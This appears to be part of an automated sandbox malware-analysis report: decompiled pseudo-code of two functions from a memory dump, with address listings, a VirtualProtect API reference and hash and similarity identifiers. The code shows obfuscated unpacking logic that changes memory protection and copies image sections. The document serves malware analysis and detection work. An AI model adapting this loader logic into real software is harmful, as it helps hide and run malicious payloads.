				signed int _t71;
				intOrPtr _t77;
				void* _t84;
				void* _t85;
				signed int _t89;
				signed int _t94;
				signed int _t99;
				signed int _t103;
				void* _t106;
				signed int _t107;
				signed int _t108;
				signed int* _t109;
				signed int* _t110;

				_t89 = __ebx;
				 *_t108 =  *_t108 & 0x00000000;
				 *_t108 =  *_t108 + _t106;
				_t107 = _t108;
				_t109 = _t108 + 0xfffffff0;
				_push(_t107);
				 *_t109 =  *_t109 & 0x00000000;
				 *_t109 =  *_t109 + __ecx;
				_push(__ecx);
				 *_t109 =  *_t109 & 0x00000000;
				 *_t109 =  *_t109 ^ __edx;
				_push(_t107);
				 *_t109 =  *_t109 ^ _t107;
				 *_t109 =  *_t109 ^ __ebx + 0x0041cca8;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t109 =  *_t109 + __ebx + 0x41cd5f;
				_push( *((intOrPtr*)(__ebx + 0x41f068))());
				_pop( *_t7);
				_push(_v16);
				_pop( *_t9);
				_pop( *_t10);
				_t99 = _v16;
				_t110 = _t109 - 0xfffffffc;
				_push(__esi);
				 *_t110 =  *_t110 ^ __esi;
				 *_t110 =  *_t109;
				_push(_v16);
				 *_t110 = _t99;
				_push(__edi);
				 *_t110 =  *_t110 - __edi;
				 *_t110 =  *_t110 ^ __ebx + 0x0041c01b;
				_t68 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(_v16);
				 *_t110 = _t68;
				_push(__esi);
				 *_t110 =  *_t110 & 0x00000000;
				 *_t110 =  *_t110 + __ebx + 0x41c678;
				_t70 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_pop( *_t18);
				_push(_t99);
				 *_t20 = _t70;
				_v20 = _v20 + _v20;
				_push(_v20);
				_pop(_t71);
				_v20 = _t71;
				_t94 = 0 ^  *(__ebx + 0x41c55d);
				if(_t94 > _v20) {
					_push(_v12);
					 *_t110 = __ebx + 0x41c01b;
					_push(_t107);
					 *_t110 =  *_t110 ^ _t107;
					 *_t110 =  *_t110 + __ebx + 0x41c678;
					_push( *((intOrPtr*)(__ebx + 0x41f064))());
					_pop( *_t31);
					_push(_v20);
					_pop( *_t33);
				}
				_pop( *_t34);
				_t103 = _v20;
				 *_t110 =  *_t110 & 0x00000000;
				 *_t110 =  *_t110 + _t103;
				 *_t110 =  *_t110 & 0x00000000;
				 *_t110 =  *_t110 | _t89 + 0x0041c8b2;
				 *_t110 =  *_t110 & 0x00000000;
				 *_t110 =  *_t110 + _t89 + 0x41d167;
				_t77 =  *((intOrPtr*)(_t89 + 0x41f068))(_t103, _t103, _t94);
				_v12 = _t94;
				 *((intOrPtr*)(_t89 + 0x41c883)) = _t77;
				 *_t110 = _t89 + 0x41c565;
				_v12 = 0;
				 *_t110 =  *_t110 | _t89 + 0x0041c574;
				_push( *((intOrPtr*)(_t89 + 0x41f060))(_v12, _v20));
				_pop( *_t48);
				_push(_v20);
				_pop( *_t50);
				_pop( *_t51);
				 *_t110 =  *_t110 - _t107;
				 *_t110 =  *_t110 ^ _v20;
				 *_t110 =  *_t110 ^ _t89;
				 *_t110 =  *_t110 + _t89 + 0x41cd20;
				_push( *((intOrPtr*)(_t89 + 0x41f060))(_t89, _t107));
				_pop( *_t55);
				_push(_v16);
				_pop( *_t57);
				_t84 =  *((intOrPtr*)(_t89 + 0x41f060))();
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t110 =  *_t110 + _t84;
				_t85 = _t89 + 0x41c3ee;
				asm("out dx, al");
				return _t85;
			}

0x02fe5f16
0x02fe5f17
0x02fe5f1b
0x02fe5f1e
0x02fe5f20
0x02fe5f23
0x02fe5f24
0x02fe5f28
0x02fe5f2b
0x02fe5f2c
0x02fe5f30
0x02fe5f39
0x02fe5f3a
0x02fe5f3d
0x02fe5f46
0x02fe5f4a
0x02fe5f4d
0x02fe5f56
0x02fe5f57
0x02fe5f5a
0x02fe5f5d
0x02fe5f63
0x02fe5f66
0x02fe5f6e
0x02fe5f71
0x02fe5f72
0x02fe5f75
0x02fe5f78
0x02fe5f7b
0x02fe5f84
0x02fe5f85
0x02fe5f88
0x02fe5f8b
0x02fe5f91
0x02fe5f94
0x02fe5f9d
0x02fe5f9e
0x02fe5fa2
0x02fe5fa5
0x02fe5fab
0x02fe5fb1
0x02fe5fb5
0x02fe5fb8
0x02fe5fbb
0x02fe5fbe
0x02fe5fc0
0x02fe5fcb
0x02fe5fd2
0x02fe5fda
0x02fe5fdd
0x02fe5fe6
0x02fe5fe7
0x02fe5fea
0x02fe5ff3
0x02fe5ff4
0x02fe5ff7
0x02fe5ffa
0x02fe5ffa
0x02fe6002
0x02fe6005
0x02fe6009
0x02fe600d
0x02fe6017
0x02fe601b
0x02fe6025
0x02fe6029
0x02fe602c
0x02fe6032
0x02fe6039
0x02fe604b
0x02fe6054
0x02fe605e
0x02fe6067
0x02fe6068
0x02fe606b
0x02fe606e
0x02fe6074
0x02fe607b
0x02fe607e
0x02fe6088
0x02fe608b
0x02fe6094
0x02fe6095
0x02fe6098
0x02fe609b
0x02fe60a1
0x02fe60a7
0x02fe60ab
0x02fe60ae
0x02fe60b1
0x02fe60b3
0x02fe60b4

APIs

VirtualProtect.KERNELBASE(?,?,00000000), ref: 02FE6B65

Strings

@, xrefs: 02FE6919

Memory Dump Source

Source File: 00000004.00000002.305777237.0000000002FE0000.00000040.00000001.sdmp, Offset: 02FE0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
Instruction ID: d7bbbbb79890e9a91b8b6651eeb60ca874f2a9f33067176a9039bb1edc3e3e2f
Opcode Fuzzy Hash: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
Instruction Fuzzy Hash: F9C22572844608EFEB049FA0C8C97EEBBF5FF48320F0589ADD899AA145D7345264CF59

Uniqueness

Uniqueness Score: -1.00%

Function 02FE66BA, Relevance: 4.2, APIs: 1, Strings: 1, Instructions: 675
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 74%

			E02FE66BA(signed int __eax, signed int __ebx, signed int __ecx, void* __edx, signed int __edi, void* __esi) {
				signed int _t317;
				signed int _t320;
				signed int _t325;
				void* _t327;
				intOrPtr _t328;
				signed int _t330;
				void* _t332;
				signed int _t333;
				signed int _t336;
				intOrPtr _t339;
				signed int _t341;
				void* _t343;
				signed int _t345;
				intOrPtr _t348;
				void* _t349;
				signed int _t352;
				void* _t358;
				void* _t360;
				void* _t361;
				signed int _t363;
				void* _t365;
				long _t366;
				long _t372;
				signed int _t375;
				signed int _t379;
				void* _t381;
				signed int _t386;
				signed int _t390;
				void* _t392;
				void* _t394;
				void* _t395;
				intOrPtr _t397;
				signed int _t400;
				signed int _t404;
				intOrPtr _t407;
				signed int _t410;
				intOrPtr _t413;
				signed int _t416;
				signed int _t417;
				void* _t420;
				void* _t421;
				void* _t423;
				signed int _t431;
				void* _t437;
				signed int _t438;
				signed int _t442;
				signed int _t445;
				intOrPtr _t450;
				signed int _t455;
				signed int _t457;
				signed int _t465;
				long _t470;
				long _t473;
				long _t476;
				signed int _t478;
				long _t481;
				void* _t489;
				signed int _t492;
				signed int _t498;
				signed int _t500;
				signed int _t502;
				signed int _t504;
				signed int _t509;
				long _t510;
				signed int _t525;
				void* _t527;
				signed int _t530;
				void* _t533;
				signed int _t534;
				void* _t535;
				long _t540;
				void* _t542;
				signed int _t544;
				long _t551;
				signed int _t553;
				signed int _t556;
				long _t559;
				signed int _t565;
				signed int _t569;
				void* _t573;
				signed int _t575;
				void* _t581;
				signed int _t584;
				void* _t589;
				signed int* _t591;
				signed int* _t592;
				signed int* _t593;
				signed int* _t594;
				signed int* _t596;
				signed int* _t599;
				signed int* _t600;
				signed int* _t601;
				signed int* _t602;
				signed int* _t603;
				signed int* _t604;

				_t522 = __edi;
				_t417 = __ebx;
				_push( *(_t584 - 8));
				 *_t591 = __ecx | __eax;
				_push(__ebx);
				 *_t591 =  *_t591 ^ __ebx;
				 *_t591 =  *_t591 + __edx;
				 *(_t584 - 8) = 0;
				_push( *(_t584 - 8));
				 *_t591 =  *_t591 ^ __ebx + 0x0041d1ba;
				_push( *(_t584 - 0xc));
				 *_t591 = __ebx + 0x41c856;
				_t317 =  *((intOrPtr*)(__ebx + 0x41f068))();
				 *(_t584 - 0x10) = __esi;
				 *(__ebx + 0x41c0c8) = 0 ^ _t317;
				_t565 =  *(_t584 - 0x10);
				_pop( *_t12);
				_t470 = 0 ^  *(_t584 - 0x10);
				_t428 = 0 ^  *_t591;
				_t592 = _t591 - 0xfffffffc;
				if(__edi != _t565) {
					_push(__edi);
					 *_t592 =  *_t592 - __edi;
					 *_t592 =  *_t592 ^ _t428;
					 *(_t584 - 0x10) =  *(_t584 - 0x10) & 0x00000000;
					_push( *(_t584 - 0x10));
					 *_t592 =  *_t592 + _t470;
					 *(_t584 - 0xc) = 0;
					_push( *(_t584 - 0xc));
					 *_t592 =  *_t592 ^ __ebx + 0x0041c7a9;
					_t358 =  *((intOrPtr*)(__ebx + 0x41f060))();
					 *(_t584 - 8) = 0;
					_push( *(_t584 - 8));
					 *_t592 =  *_t592 + _t358;
					_push(__ebx);
					 *_t592 =  *_t592 & 0x00000000;
					 *_t592 =  *_t592 ^ __ebx + 0x0041d026;
					_t360 =  *((intOrPtr*)(__ebx + 0x41f060))();
					_t599 = _t592 - 0xfffffffc;
					_push(__edi);
					 *_t25 = _t360;
					 *(_t584 - 0x10) =  *(_t584 - 0x10) + (_t428 & 0x00000000) +  *_t592;
					_push( *(_t584 - 0x10));
					_pop(_t361);
					_pop(_t544);
					_push(0);
					 *_t599 = _t544;
					_t455 = 0 ^  *(__ebx + 0x41c244);
					if(_t455 > _t361) {
						_push(_t455);
						 *_t599 =  *_t599 ^ _t455;
						 *_t599 =  *_t599 | __ebx + 0x0041c7a9;
						_push(__ebx);
						 *_t599 =  *_t599 & 0x00000000;
						 *_t599 =  *_t599 + __ebx + 0x41d026;
						_t416 =  *((intOrPtr*)(__ebx + 0x41f064))();
						_push(0);
						 *_t599 = _t470;
						 *(__ebx + 0x41cf47) = 0 ^ _t416;
					}
					_pop( *_t34);
					_t492 =  *(_t584 - 8);
					_t457 =  *_t599;
					_t600 = _t599 - 0xfffffffc;
					do {
						asm("movsb");
						 *(_t584 - 8) = 0;
						 *_t600 =  *_t600 + _t457;
						 *(_t584 - 8) =  *(_t584 - 8) & 0x00000000;
						 *_t600 =  *_t600 + _t492;
						 *_t600 =  *_t600 - _t492;
						 *_t600 =  *_t600 | _t417 + 0x0041c831;
						_t363 =  *((intOrPtr*)(_t417 + 0x41f060))(_t492,  *(_t584 - 8),  *(_t584 - 8));
						 *_t600 =  *_t600 ^ _t584;
						 *_t600 =  *_t600 ^ _t363;
						 *_t600 =  *_t600 & 0x00000000;
						 *_t600 =  *_t600 ^ _t417 + 0x0041c7fa;
						_t365 =  *((intOrPtr*)(_t417 + 0x41f060))(_t565, _t584);
						_t601 =  &(_t600[1]);
						 *_t45 = _t365;
						 *(_t584 - 0x10) =  *(_t584 - 0x10) +  *_t600;
						_push( *(_t584 - 0x10));
						_pop(_t366);
						_t565 = _t565;
						 *(_t584 - 8) = _t366;
						if((0 ^  *(_t417 + 0x41c054)) >  *(_t584 - 8)) {
							 *_t601 = _t417 + 0x41c831;
							 *_t601 = _t417 + 0x41c7fa;
							_t413 =  *((intOrPtr*)(_t417 + 0x41f064))( *(_t584 - 0xc),  *(_t584 - 0xc));
							 *(_t584 - 0xc) = _t492;
							 *((intOrPtr*)(_t417 + 0x41c254)) = _t413;
						}
						_pop( *_t60);
						_t492 = 0 +  *(_t584 - 8);
						_t600 = _t601 - 0xfffffffc;
						_t457 =  *_t601 - 1;
					} while (_t457 != 0);
					 *_t600 =  *_t600 & 0x00000000;
					 *_t600 =  *_t600 ^ _t492;
					 *_t600 =  *_t600 & 0x00000000;
					 *_t600 =  *_t600 ^ _t417 + 0x0041ccd3;
					 *(_t584 - 0x10) = 0;
					 *_t600 =  *_t600 ^ _t417 + 0x0041c339;
					_t372 =  *((intOrPtr*)(_t417 + 0x41f068))( *(_t584 - 0x10), _t457, _t457);
					 *(_t417 + 0x41d2bf) =  *(_t417 + 0x41d2bf) & 0x00000000;
					 *(_t417 + 0x41d2bf) =  *(_t417 + 0x41d2bf) ^ _t492 ^  *_t600 ^ _t372;
					_t498 =  *_t600;
					_t602 = _t600 - 0xfffffffc;
					 *(_t584 - 8) = _t372;
					_t375 =  *(_t584 - 8);
					 *_t602 =  *_t602 ^ _t375;
					 *_t602 =  *_t602 ^ _t498;
					 *(_t584 - 0x10) =  *(_t584 - 0x10) & 0x00000000;
					 *_t602 =  *_t602 ^ _t417 + 0x0041c8b7;
					_push( *((intOrPtr*)(_t417 + 0x41f060))( *(_t584 - 0x10), _t375, _t492));
					_pop( *_t79);
					_push( *(_t584 - 0xc));
					_pop( *_t81);
					_pop( *_t82);
					_t500 = _t498 & 0x00000000 ^  *(_t584 - 0xc);
					 *(_t417 + 0x41c60a) = 0x40;
					 *_t602 = _t500;
					 *(_t584 - 0xc) = 0;
					 *_t602 =  *_t602 ^ _t417 + 0x0041c4cb;
					_t379 =  *((intOrPtr*)(_t417 + 0x41f060))( *(_t584 - 0xc),  *(_t584 - 0x10));
					 *_t602 = _t379;
					 *_t602 = _t417 + 0x41c438;
					_t381 =  *((intOrPtr*)(_t417 + 0x41f060))( *(_t584 - 0xc),  *(_t584 - 8));
					_pop( *_t94);
					 *_t602 =  *_t602 | _t417;
					_t423 = _t381;
					_t417 = 0;
					 *(_t584 - 0xc) =  *(_t417 + 0x41c166);
					_t465 =  *(_t417 + 0x41d118);
					_t551 =  *(_t584 - 0xc);
					if(_t465 > _t423 +  *(_t584 - 0x10) + (_t457 & 0x00000000)) {
						_t99 = _t417 + 0x41c4cb; // 0x41c4cb
						 *_t602 =  *_t602 - _t465;
						 *_t602 =  *_t602 + _t99;
						_t100 = _t417 + 0x41c438; // 0x41c438
						 *_t602 =  *_t602 ^ _t500;
						 *_t602 =  *_t602 | _t100;
						_t410 =  *((intOrPtr*)(_t417 + 0x41f064))(_t500, _t465);
						 *(_t584 - 0x10) = _t500;
						 *(_t417 + 0x41c583) =  *(_t417 + 0x41c583) & 0x00000000;
						 *(_t417 + 0x41c583) =  *(_t417 + 0x41c583) | _t500 -  *(_t584 - 0x10) ^ _t410;
					}
					_t502 =  *_t602;
					_t603 = _t602 - 0xfffffffc;
					_t109 = _t417 + 0x41c60a; // 0x41c60a
					 *_t603 =  *_t603 - _t502;
					 *_t603 =  *_t603 ^ _t109;
					 *_t603 = _t502;
					_t111 = _t417 + 0x41cb46; // 0x41cb46
					 *_t603 =  *_t603 & 0x00000000;
					 *_t603 =  *_t603 + _t111;
					_t112 = _t417 + 0x41c91c; // 0x41c91c
					 *_t603 = _t112;
					_t386 =  *((intOrPtr*)(_t417 + 0x41f068))( *(_t584 - 0x10), _t417,  *(_t584 - 0xc), _t502);
					 *_t603 = _t565;
					 *(_t417 + 0x41cf40) = 0 ^ _t386;
					_t581 = 0;
					_t504 =  *_t603;
					_t604 =  &(_t603[1]);
					_pop( *_t116);
					 *_t604 =  *_t604 & 0x00000000;
					 *_t604 =  *_t604 + (0 ^  *(_t584 - 0x10));
					 *_t604 = _t504;
					_t119 = _t417 + 0x41cc6e; // 0x41cc6e
					 *_t604 = _t119;
					_t390 =  *((intOrPtr*)(_t417 + 0x41f060))( *(_t584 - 0xc),  *(_t584 - 0xc), _t465);
					 *(_t417 + 0x41c082) =  *(_t417 + 0x41c082) & 0x00000000;
					 *(_t417 + 0x41c082) =  *(_t417 + 0x41c082) ^ _t504 & 0x00000000 ^ _t390;
					 *_t126 = _t504;
					_t509 =  *(_t584 - 8);
					 *_t604 = 2;
					 *(_t584 - 8) =  *(_t584 - 8) & 0x00000000;
					 *_t604 =  *_t604 ^ _t509;
					_t131 = _t417 + 0x41cfff; // 0x41cfff
					 *_t604 =  *_t604 & 0x00000000;
					 *_t604 =  *_t604 ^ _t131;
					_t392 =  *((intOrPtr*)(_t417 + 0x41f060))(_t584,  *(_t584 - 8), _t417);
					 *_t604 =  *_t604 & 0x00000000;
					 *_t604 =  *_t604 + _t392;
					_t133 = _t417 + 0x41c3b9; // 0x41c3b9
					 *_t604 =  *_t604 - _t584;
					 *_t604 =  *_t604 | _t133;
					_t394 =  *((intOrPtr*)(_t417 + 0x41f060))(_t584, _t509);
					_t592 =  &(_t604[1]);
					 *_t135 = _t394;
					 *(_t584 - 0x10) =  *(_t584 - 0x10) + (_t465 & 0x00000000 |  *_t604);
					_push( *(_t584 - 0x10));
					_pop(_t395);
					_t553 = _t551;
					 *_t592 = _t553;
					_t428 =  *(_t417 + 0x41d0fa);
					_t556 = 0;
					if(_t428 > _t395) {
						_t140 = _t417 + 0x41cfff; // 0x41cfff
						 *_t592 =  *_t592 - _t584;
						 *_t592 =  *_t592 + _t140;
						_t141 = _t417 + 0x41c3b9; // 0x41c3b9
						 *_t592 =  *_t592 ^ _t584;
						 *_t592 =  *_t592 + _t141;
						_t407 =  *((intOrPtr*)(_t417 + 0x41f064))(_t584, _t584);
						 *(_t584 - 8) = _t581;
						 *((intOrPtr*)(_t417 + 0x41d019)) = _t407;
						_t581 =  *(_t584 - 8);
					}
					_pop( *_t146);
					_t510 =  *(_t584 - 8);
					 *_t592 =  *_t592 ^ _t417;
					 *_t592 = _t510;
					_t148 = _t417 + 0x41c42d; // 0x41c42d
					 *_t592 =  *_t592 - _t581;
					 *_t592 =  *_t592 + _t148;
					_t397 =  *((intOrPtr*)(_t417 + 0x41f060))(_t581, _t417);
					 *_t592 = _t556;
					 *((intOrPtr*)(_t417 + 0x41c664)) = _t397;
					_t559 = 0;
					 *(_t584 - 0xc) =  *(_t584 - 0xc) & 0x00000000;
					 *_t592 =  *_t592 + _t559;
					_t154 = _t417 + 0x41c4b9; // 0x41c4b9
					 *(_t584 - 8) = 0;
					 *_t592 =  *_t592 + _t154;
					_t157 = _t417 + 0x41c298; // 0x41c298
					 *_t592 =  *_t592 ^ _t581;
					 *_t592 = _t157;
					_t400 =  *((intOrPtr*)(_t417 + 0x41f068))();
					 *(_t584 - 0xc) = _t510;
					 *(_t417 + 0x41c405) = 0 ^ _t400;
					_t470 =  *(_t584 - 0xc);
					VirtualProtect(_t581,  *(_t584 - 8),  *(_t584 - 0xc), ??);
					_t163 = _t417 + 0x41c772; // 0x41c772
					 *(_t584 - 0x10) = 0;
					 *_t592 =  *_t592 ^ _t163;
					_t166 = _t417 + 0x41cb5c; // 0x41cb5c
					 *_t592 =  *_t592 ^ _t417;
					 *_t592 =  *_t592 | _t166;
					_t404 =  *((intOrPtr*)(_t417 + 0x41f068))(_t417,  *(_t584 - 0x10));
					 *(_t584 - 8) = _t559;
					 *(_t417 + 0x41c6c0) =  *(_t417 + 0x41c6c0) & 0x00000000;
					 *(_t417 + 0x41c6c0) =  *(_t417 + 0x41c6c0) | _t559 -  *(_t584 - 8) ^ _t404;
					_t522 =  *(_t584 - 8);
				}
				_pop( *_t175);
				_t177 = _t417 + 0x41d305; // 0x41d305
				 *(_t584 - 0xc) = 0;
				 *_t592 =  *_t592 + _t177;
				_t180 = _t417 + 0x41cf53; // 0x41cf53
				 *_t592 =  *_t592 ^ _t428;
				 *_t592 =  *_t592 | _t180;
				_t320 =  *((intOrPtr*)(_t417 + 0x41f068))(_t428,  *(_t584 - 0xc));
				 *(_t584 - 0xc) = _t470;
				 *(_t417 + 0x41c775) = 0 ^ _t320;
				_t473 =  *(_t584 - 0xc);
				_t525 = (_t522 & 0x00000000 |  *(_t584 - 8)) + 0xf8;
				_t420 = _t417;
				_t185 = _t420 + 0x41d2fb; // 0x41d2fb
				 *(_t584 - 0x10) = 0;
				 *_t592 =  *_t592 ^ _t185;
				_t188 = _t420 + 0x41c2ea; // 0x41c2ea
				 *(_t584 - 0xc) =  *(_t584 - 0xc) & 0x00000000;
				 *_t592 =  *_t592 + _t188;
				_push( *((intOrPtr*)(_t420 + 0x41f068))( *(_t584 - 0xc),  *(_t584 - 0x10)));
				_pop( *_t193);
				_push( *(_t584 - 8));
				_pop( *_t195);
				do {
					 *_t592 = _t525;
					_t197 = _t420 + 0x41c966; // 0x41c966
					 *_t592 =  *_t592 ^ _t428;
					 *_t592 =  *_t592 ^ _t197;
					_t325 =  *((intOrPtr*)(_t420 + 0x41f060))(_t428,  *(_t584 - 0xc));
					 *(_t584 - 0x10) =  *(_t584 - 0x10) & 0x00000000;
					 *_t592 =  *_t592 | _t325;
					_t202 = _t420 + 0x41ca40; // 0x41ca40
					 *_t592 = _t202;
					_t327 =  *((intOrPtr*)(_t420 + 0x41f060))( *(_t584 - 0x10),  *(_t584 - 0x10));
					_t593 = _t592 - 0xfffffffc;
					 *_t205 = _t327;
					 *(_t584 - 8) =  *(_t584 - 8) + (_t428 & 0x00000000) +  *_t592;
					_push( *(_t584 - 8));
					_pop(_t328);
					_t527 = _t525;
					 *(_t584 - 0xc) = _t473;
					_t431 = 0 ^  *(_t420 + 0x41d332);
					_t476 =  *(_t584 - 0xc);
					if(_t431 > _t328) {
						_t212 = _t420 + 0x41c966; // 0x41c966
						 *_t593 =  *_t593 ^ _t584;
						 *_t593 = _t212;
						_t213 = _t420 + 0x41ca40; // 0x41ca40
						 *_t593 =  *_t593 & 0x00000000;
						 *_t593 =  *_t593 | _t213;
						_t328 =  *((intOrPtr*)(_t420 + 0x41f064))(_t431, _t584);
					}
					 *_t593 = _t431;
					 *((intOrPtr*)(_t420 + 0x41c6bc)) = _t328;
					 *(_t584 - 0x10) = _t527;
					_t530 =  *(_t584 - 0x10);
					_t219 = _t420 + 0x41c5f7; // 0x41c5f7
					 *(_t584 - 0x10) =  *(_t584 - 0x10) & 0x00000000;
					 *_t593 =  *_t593 + _t219;
					_t330 =  *((intOrPtr*)(_t420 + 0x41f060))( *(_t584 - 0x10), 0);
					 *_t593 = _t330;
					_t225 = _t420 + 0x41c637; // 0x41c637
					 *(_t584 - 0xc) =  *(_t584 - 0xc) & 0x00000000;
					 *_t593 =  *_t593 | _t225;
					_t332 =  *((intOrPtr*)(_t420 + 0x41f060))( *(_t584 - 0xc),  *(_t584 - 8));
					_t594 =  &(_t593[1]);
					 *(_t584 - 0x10) =  *(_t584 + 8);
					_push( *_t593 + _t332);
					_t569 =  *(_t584 - 0x10);
					_pop(_t333);
					_push( *((intOrPtr*)(_t420 + 0x41cece)));
					_pop( *_t233);
					_push( *(_t584 - 0x10));
					_pop(_t437);
					if(_t437 > _t333) {
						_t235 = _t420 + 0x41c5f7; // 0x41c5f7
						 *_t594 =  *_t594 - _t437;
						 *_t594 =  *_t594 ^ _t235;
						_t236 = _t420 + 0x41c637; // 0x41c637
						 *(_t584 - 0x10) =  *(_t584 - 0x10) & 0x00000000;
						 *_t594 =  *_t594 | _t236;
						_t333 =  *((intOrPtr*)(_t420 + 0x41f064))( *(_t584 - 0x10), _t437);
					}
					 *(_t584 - 8) = _t569;
					 *(_t420 + 0x41c10a) =  *(_t420 + 0x41c10a) & 0x00000000;
					 *(_t420 + 0x41c10a) =  *(_t420 + 0x41c10a) | _t569 ^  *(_t584 - 8) | _t333;
					 *_t594 = _t584;
					_t438 = 0 ^  *(_t530 + 0x10);
					_t584 = 0;
					 *_t594 =  *_t594 & 0x00000000;
					 *_t594 =  *_t594 ^ _t438;
					_t249 = _t420 + 0x41cee6; // 0x41cee6
					 *(_t584 - 0x10) = 0;
					 *_t594 =  *_t594 ^ _t249;
					_t252 = _t420 + 0x41c9b9; // 0x41c9b9
					 *_t594 =  *_t594 ^ _t584;
					 *_t594 =  *_t594 + _t252;
					_t336 =  *((intOrPtr*)(_t420 + 0x41f068))( *(_t584 - 0x10), _t333);
					 *(_t584 - 0x10) = _t530;
					 *(_t420 + 0x41cb03) =  *(_t420 + 0x41cb03) & 0x00000000;
					 *(_t420 + 0x41cb03) =  *(_t420 + 0x41cb03) ^ (_t530 & 0x00000000 | _t336);
					_t533 =  *(_t584 - 0x10);
					 *_t260 = _t584;
					_push( *(_t584 - 8));
					_pop( *_t263);
					 *(_t584 - 0xc) =  *(_t584 - 0xc) +  *((intOrPtr*)(_t533 + 0x14));
					_push( *(_t584 - 0xc));
					_pop(_t573);
					_t478 = _t476;
					 *(_t584 - 0xc) = 0;
					 *_t594 =  *_t594 ^ _t438 & 0x00000000 ^  *(_t584 - 0x10);
					_t269 = _t420 + 0x41c452; // 0x41c452
					 *_t594 =  *_t594 & 0x00000000;
					 *_t594 =  *_t594 + _t269;
					_t270 = _t420 + 0x41c156; // 0x41c156
					 *(_t584 - 8) = 0;
					 *_t594 =  *_t594 ^ _t270;
					_t339 =  *((intOrPtr*)(_t420 + 0x41f068))( *(_t584 - 8), _t478,  *(_t584 - 0xc));
					 *_t594 = _t478;
					 *((intOrPtr*)(_t420 + 0x41c66c)) = _t339;
					_t481 = 0;
					_pop( *_t275);
					_t442 =  *(_t584 - 0xc);
					_t534 =  *(_t533 + 0xc);
					 *_t594 =  *_t594 & 0x00000000;
					 *_t594 =  *_t594 + _t442;
					_t278 = _t420 + 0x41c5a4; // 0x41c5a4
					 *_t594 =  *_t594 - _t584;
					 *_t594 = _t278;
					_t341 =  *((intOrPtr*)(_t420 + 0x41f060))(_t584, _t573);
					 *_t594 =  *_t594 - _t584;
					 *_t594 =  *_t594 ^ _t341;
					_t280 = _t420 + 0x41ce5b; // 0x41ce5b
					 *_t594 =  *_t594 ^ _t534;
					 *_t594 =  *_t594 + _t280;
					_t343 =  *((intOrPtr*)(_t420 + 0x41f060))(_t584);
					 *_t282 = _t534;
					 *_t594 =  *_t594 + _t420;
					_t421 = _t343;
					_t420 = 0;
					_push( *((intOrPtr*)(_t420 + 0x41d348)));
					_pop( *_t285);
					_push( *(_t584 - 8));
					_pop(_t445);
					if(_t445 > _t421 + (_t442 & 0x00000000 ^  *(_t584 - 0x10))) {
						_t287 = _t420 + 0x41c5a4; // 0x41c5a4
						 *_t594 =  *_t594 ^ _t481;
						 *_t594 =  *_t594 | _t287;
						_t288 = _t420 + 0x41ce5b; // 0x41ce5b
						 *_t594 =  *_t594 - _t445;
						 *_t594 =  *_t594 | _t288;
						_t352 =  *((intOrPtr*)(_t420 + 0x41f064))(_t445, _t481);
						 *(_t584 - 0x10) = _t573;
						 *(_t420 + 0x41c50f) = 0 ^ _t352;
						_t573 =  *(_t584 - 0x10);
					}
					 *(_t584 - 8) = _t481;
					_t535 =  *(_t420 + 0x41c166) + _t534;
					_t345 = memcpy(_t535, _t573, (_t445 & 0x00000000) +  *_t594);
					_t596 =  &(_t594[4]);
					_t428 = 0;
					_t592 = _t596 - 0xfffffffc;
					_push( *(_t584 - 8));
					_t525 =  *_t596 + 0x28;
					_pop(_t473);
					_t296 = _t584 - 4;
					 *_t296 =  *((intOrPtr*)(_t584 - 4)) - 1;
				} while ( *_t296 != 0);
				_pop( *_t298);
				_t540 =  *(_t584 - 0xc);
				_t589 = _t584;
				 *_t302 = _t345 & 0x00000000 ^ _t584 -  *_t592 ^  *(_t540 + 0x28);
				 *((intOrPtr*)(_t589 - 0x10)) =  *((intOrPtr*)(_t589 - 0x10)) +  *(_t420 + 0x41c166);
				_push( *((intOrPtr*)(_t589 - 0x10)));
				_pop(_t348);
				_t542 = _t540;
				 *_t592 = _t473;
				 *((intOrPtr*)(_t420 + 0x41d140)) = _t348;
				_t489 = 0;
				 *((intOrPtr*)(_t589 - 8)) = 0;
				_t575 = _t573 & 0x00000000 | 0 ^  *(_t420 + 0x41c166);
				_t450 =  *((intOrPtr*)(_t589 - 8));
				if(_t575 > 0) {
					_push(_t420);
					 *_t592 =  *_t592 & 0x00000000;
					 *_t592 =  *_t592 + _t575;
					_t349 = E02FE4E1A(_t420, _t450, _t489, _t575);
					 *_t592 = _t575;
					_t348 = E02FE2FAF(_t349, _t420, _t450, _t489, _t542, _t575,  *((intOrPtr*)(_t589 - 8)));
				}
				_pop( *_t311);
				return _t348;
			}

0x02fe66ba
0x02fe66ba
0x02fe66bf
0x02fe66c2
0x02fe66c5
0x02fe66c6
0x02fe66c9
0x02fe66d2
0x02fe66d9
0x02fe66dc
0x02fe66e5
0x02fe66e8
0x02fe66eb
0x02fe66f1
0x02fe66f8
0x02fe66fe
0x02fe6703
0x02fe6706
0x02fe670b
0x02fe670e
0x02fe6713
0x02fe6719
0x02fe671a
0x02fe671d
0x02fe6720
0x02fe6724
0x02fe6727
0x02fe6730
0x02fe6737
0x02fe673a
0x02fe673d
0x02fe6743
0x02fe674a
0x02fe674d
0x02fe6756
0x02fe6757
0x02fe675b
0x02fe675e
0x02fe676d
0x02fe6770
0x02fe6774
0x02fe6777
0x02fe677a
0x02fe677d
0x02fe677e
0x02fe677f
0x02fe6781
0x02fe678c
0x02fe6791
0x02fe6799
0x02fe679a
0x02fe679d
0x02fe67a6
0x02fe67a7
0x02fe67ab
0x02fe67ae
0x02fe67b4
0x02fe67b6
0x02fe67bd
0x02fe67c3
0x02fe67c4
0x02fe67c7
0x02fe67cc
0x02fe67cf
0x02fe67d2
0x02fe67d2
0x02fe67d3
0x02fe67dd
0x02fe67e0
0x02fe67e7
0x02fe67f1
0x02fe67f4
0x02fe67f7
0x02fe67fe
0x02fe6801
0x02fe680b
0x02fe680f
0x02fe6812
0x02fe681d
0x02fe6824
0x02fe6827
0x02fe682a
0x02fe682d
0x02fe682e
0x02fe682f
0x02fe6841
0x02fe684c
0x02fe6858
0x02fe685b
0x02fe6861
0x02fe6868
0x02fe686e
0x02fe6873
0x02fe6876
0x02fe687e
0x02fe6881
0x02fe6881
0x02fe6889
0x02fe688d
0x02fe6897
0x02fe689b
0x02fe68a4
